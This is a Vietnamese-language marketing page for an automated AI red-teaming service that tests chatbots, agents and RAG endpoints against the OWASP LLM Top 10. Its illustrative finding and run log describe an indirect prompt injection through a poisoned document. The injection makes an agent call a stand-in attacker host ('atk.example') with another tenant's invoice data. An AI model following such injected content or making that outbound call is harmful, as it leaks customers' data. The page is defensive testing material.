Đánh giá rủi ro AIKhám phá AI ngầmTư thế bảo mật đám mâyKiểm chứng khai thácCI/CDNền tảng liên tụcBáo cáoDanh tính & truy cậpAgentic Trust & Protection Platform
Kiểm chứng khai thác · một phần của đánh giá rủi ro AI

Chứng minh rủi ro AI nào là thật.

Bản đánh giá rủi ro xếp hạng những gì có thể xảy ra sự cố. Kiểm chứng khai thác chứng minh điều đó: các tác nhân tự động kiểm thử chatbot, tác nhân và điểm cuối RAG của bạn theo OWASP Top 10 for LLM and Agentic applications, ánh xạ theo MITRE ATLAS. Mọi phát hiện đều kèm một bằng chứng khái niệm (PoC) có thể tái lập — nếu không thì không được báo cáo.

Bắt đầu đánh giá miễn phí Đọc tài liệu
Nghiêm trọng LLM01 · CWE-200 · ATLAS AML.T0051 · Kèm PoC
Prompt injection rò rỉ dữ liệu của một tổ chức thuê bao khác
Thu hẹp bề mặt công cụ của tác nhân khi đầu vào không đáng tin cậy — chỉ cho phép các công cụ trong danh sách được gọi, loại bỏ công cụ hướng ra ngoài, yêu cầu con người phê duyệt hành động vượt ra khỏi ranh giới của bạn.
Bằng chứng khái niệm
POST /chat  { "q": "summarise doc-4471" }
>> tool_call: http.get("https://atk.example/?d=tenant_88.invoices")
<< 200 OK — 41 records left the boundary
replayed 7/10 trials · attack success rate 70%
Phát hiện ví dụ — chỉ mang tính minh họa, không phải của khách hàng thật PR nháp
Console screenshot — finding detail with PoC
10 / 10
OWASP LLM Top 10 — ánh xạ tới CVE · CWE · CVSS · MITRE ATLAS + PoC
Vài phút
để có một phát hiện đã được chứng minh — không phải hàng tuần như kiểm thử xâm nhập thủ công
$10k–30k
cho một dự án kiểm thử thủ công ứng dụng AI thông thường. Redthread được định giá theo tập khách hàng của bạn — liên hệ với chúng tôi
100%
số phát hiện được báo cáo kèm bằng chứng khái niệm có thể chạy lại
Bên trong một lượt chạy

Tác nhân thuật lại những gì nó đã thử, và kết quả trả về.

lượt chạy RTH-r1 · hoàn tất · ngân sách 520.000 ₫ 14 phút · 266.240 ₫ chi phí tính toán
00:04trinh sát — 11 điểm cuối, 3 bề mặt công cụ, 1 kho ngữ liệu RAG
02:18LLM01 injection trực tiếp · bị từ chối, không có phát hiện
05:41LLM01 gián tiếp qua tài liệu bị đầu độc doc-4471 · lệnh gọi công cụ đã kích hoạt
06:02nối chuỗi → http.get ra ngoài · 41 bản ghi đã rời khỏi ranh giới
06:09Đã ghi nhận PoC · chạy lại 7/10 · Xác nhận NGHIÊM TRỌNG
13:52LLM10 tiêu thụ không giới hạn · mức trần giữ vững, không có phát hiện
14:00Báo cáo 2 phát hiện · Loại bỏ 9 ứng viên chưa được chứng minh

Chín thứ nó không thể chứng minh sẽ không bao giờ lọt vào hàng đợi của bạn. Đó chính là toàn bộ sự khác biệt.

Một lần quét diễn ra thế nào
01
Chỉ cho chúng tôi một mục tiêu
Một ứng dụng staging, một API, hoặc một repo GitHub được kết nối cho lượt kiểm thử hộp trắng có đọc mã nguồn. Các mục tiêu công khai yêu cầu xác minh quyền sở hữu tên miền trước khi kiểm thử.
02
Tác nhân đi hết chuỗi tấn công
Nó khai thác những gì quan trọng và đi hết chuỗi cho đến khi trả về một bằng chứng khái niệm chạy được, hoặc không trả về gì cả. Mức trần ngân sách theo từng gói giới hạn trường hợp xấu nhất.
03
Ba tài liệu được bàn giao
Một Thư chứng thực để chia sẻ, báo cáo kỹ thuật đầy đủ cho kỹ sư và kiểm toán viên của bạn, và một bản máy đọc được cho Vanta, Drata hoặc Secureframe.

10 / 10, và nơi mỗi hạng mục được ánh xạ tới.

OWASP LLM Top 10 — ánh xạ tới CVE · CWE · CVSS · MITRE ATLAS + PoC
ID
Hạng mục
Cách chúng tôi kiểm thử
LLM01
Prompt injection
Trực tiếp và gián tiếp, bao gồm cả tài liệu RAG bị đầu độc
LLM02
Tiết lộ thông tin nhạy cảm
Truy xuất chéo giữa các tổ chức thuê bao, và bí mật hoặc dữ liệu cá nhân trong phản hồi
LLM03
Chuỗi cung ứng
Giải tuần tự hóa mô hình không an toàn, nguồn mô hình không ghim phiên bản, và các công cụ hoặc máy chủ MCP không đáng tin cậy
LLM04
Đầu độc dữ liệu và mô hình
Dữ liệu huấn luyện mà kẻ tấn công có thể ghi, các vòng phản hồi và pipeline huấn luyện lại
LLM05
Xử lý đầu ra không đúng cách
Injection thông qua đầu ra của mô hình vào các điểm tiếp nhận phía sau
LLM06
Quyền hạn quá mức
Lạm dụng công cụ, và những gì danh tính của tác nhân thực sự có thể chạm tới
LLM07
Rò rỉ system prompt
Các nỗ lực trích xuất, và liệu prompt có nhúng bí mật hoặc quy tắc truy cập hay không
LLM08
Điểm yếu của vector và embedding
Đầu độc kho ngữ liệu và kiểm thử ranh giới truy xuất
LLM09
Thông tin sai lệch
Phụ thuộc không an toàn vào đầu ra của mô hình: dữ kiện, trích dẫn bịa đặt và các gói phần mềm do ảo giác tạo ra
LLM10
Tiêu thụ không giới hạn
Vòng lặp và chi tiêu mất kiểm soát, so với mức trần bạn đặt

Cả mười hạng mục đều có trong mọi kế hoạch kiểm thử; mỗi báo cáo nêu rõ hạng mục nào đã được quan sát, hạng mục nào đã được kiểm thử mà không có phát hiện (không phải bằng chứng cho việc không tồn tại), và hạng mục nào chưa được bao phủ. Ma trận truy vết đầy đủ — OWASP LLM 2025 → MITRE ATLAS → NIST AI RMF / ISO 42001 / EU AI Act Điều 15 — có trong tài liệu.

Tài liệu

Ba tài liệu, vì có ba người cần đọc.

Mỗi dự án đều tạo ra cùng một bộ bằng chứng dưới ba hình thức. Bộ phận mua sắm nhận được tài liệu an toàn để chuyển tiếp. Đội kỹ thuật nhận được các bước tái hiện. Nền tảng tuân thủ của bạn nhận được JSON.

Cấp 1

Thư chứng thực

Một trang, được biên tập che thông tin ngay từ thiết kế. Pháp nhân, khung thời gian kiểm thử, loại đánh giá, số lượng theo mức nghiêm trọng, chữ ký của nhà cung cấp. Không có điểm cuối, không có bằng chứng khái niệm, không có gì kẻ tấn công có thể lợi dụng. Đây là tài liệu bạn gửi cho khách hàng khi họ hỏi bạn có kiểm thử xâm nhập hay không.

GET /api/runs/<id>/attestation
Cấp 2

Báo cáo tuân thủ đầy đủ

Tóm tắt cho lãnh đạo, quy tắc thực hiện và phạm vi, phân bố mức nghiêm trọng, mọi phát hiện kèm cách tái hiện chạy được, bảng đối chiếu chéo các khung tiêu chuẩn, và lộ trình khắc phục chia giai đoạn theo mức nghiêm trọng. Dành cho đội kỹ thuật và kiểm toán viên theo NDA.

HTML khổ A4 có thể in · 13 phần
Cấp 3

Bản máy đọc được

Cùng báo cáo đó dưới dạng JSON, bao gồm cả ánh xạ biện pháp kiểm soát, để nó đi thẳng vào Vanta, Drata hoặc Secureframe như bằng chứng cho một biện pháp kiểm soát thay vì phải có người gõ lại vào tuần trước đợt kiểm toán.

GET /api/runs/<id>/compliance.json

Chúng tôi kiểm thử theo chuẩn nào

Phương pháp mà dự án tuân theo và báo cáo trích dẫn.

PTES NIST SP 800-115 OWASP WSTG OWASP LLM Top 10 2025 OWASP Top 10 for Agentic Applications MITRE ATLAS CVSS v3.1 CREST Defensible Pen Test

Các phát hiện ánh xạ tới đâu

Mọi phát hiện đều kèm các tham chiếu biện pháp kiểm soát mà kiểm toán viên của bạn vốn đang sử dụng.

SOC 2 CC3.2–CC8.1 ISO 27001:2022 Phụ lục A ISO 42001:2023 PCI DSS 11.3 / 11.4 HIPAA Security Rule § 164.308 / 164.312 NIST AI RMF NIST CSF 2.0 EU AI Act Điều 15 GDPR Điều 25 & 32

Các ánh xạ đó được nêu như bằng chứng hướng tới một biện pháp kiểm soát — không bao giờ như một chứng nhận đạt. Bản thân chúng tôi không nắm giữ chứng nhận nào và chúng tôi không phải kiểm toán viên của bạn: một nhà cung cấp nói rằng họ đã chứng nhận cho bạn là đang nói điều không đúng sự thật. Báo cáo được ký bởi nền tảng, và có thể được đồng ký bởi một chuyên gia rà soát được chứng nhận CREST/OSCP. Xem một báo cáo gồm những gì.

Bảng giá

Định giá theo quy mô hoạt động của bạn. Hãy liên hệ.

Một engagement là một khách hàng của bạn, và một công ty có nhiều khách hàng. Chúng tôi định giá theo tập khách hàng bạn phục vụ, không theo số tài khoản hay số lần quét. Hãy cho chúng tôi biết bạn phục vụ bao nhiêu khách hàng và chúng tôi sẽ gửi báo giá.

Liên hệ để nhận báo giá

Không giới hạn ứng dụng của khách hàng trong một tài khoản, kèm báo cáo white-label. Công cụ chạy quét và chứng minh từng phát hiện; các chuyên viên của bạn điều hướng, xác nhận và ký báo cáo. Nếu bạn kiểm thử ứng dụng của chính mình chứ không phải của khách hàng, hãy mua lượt quét trên trang Pentest.

Chỉ vài phút để thấy kẻ tấn công có thể tiếp cận những gì.

Bắt đầu đánh giá miễn phí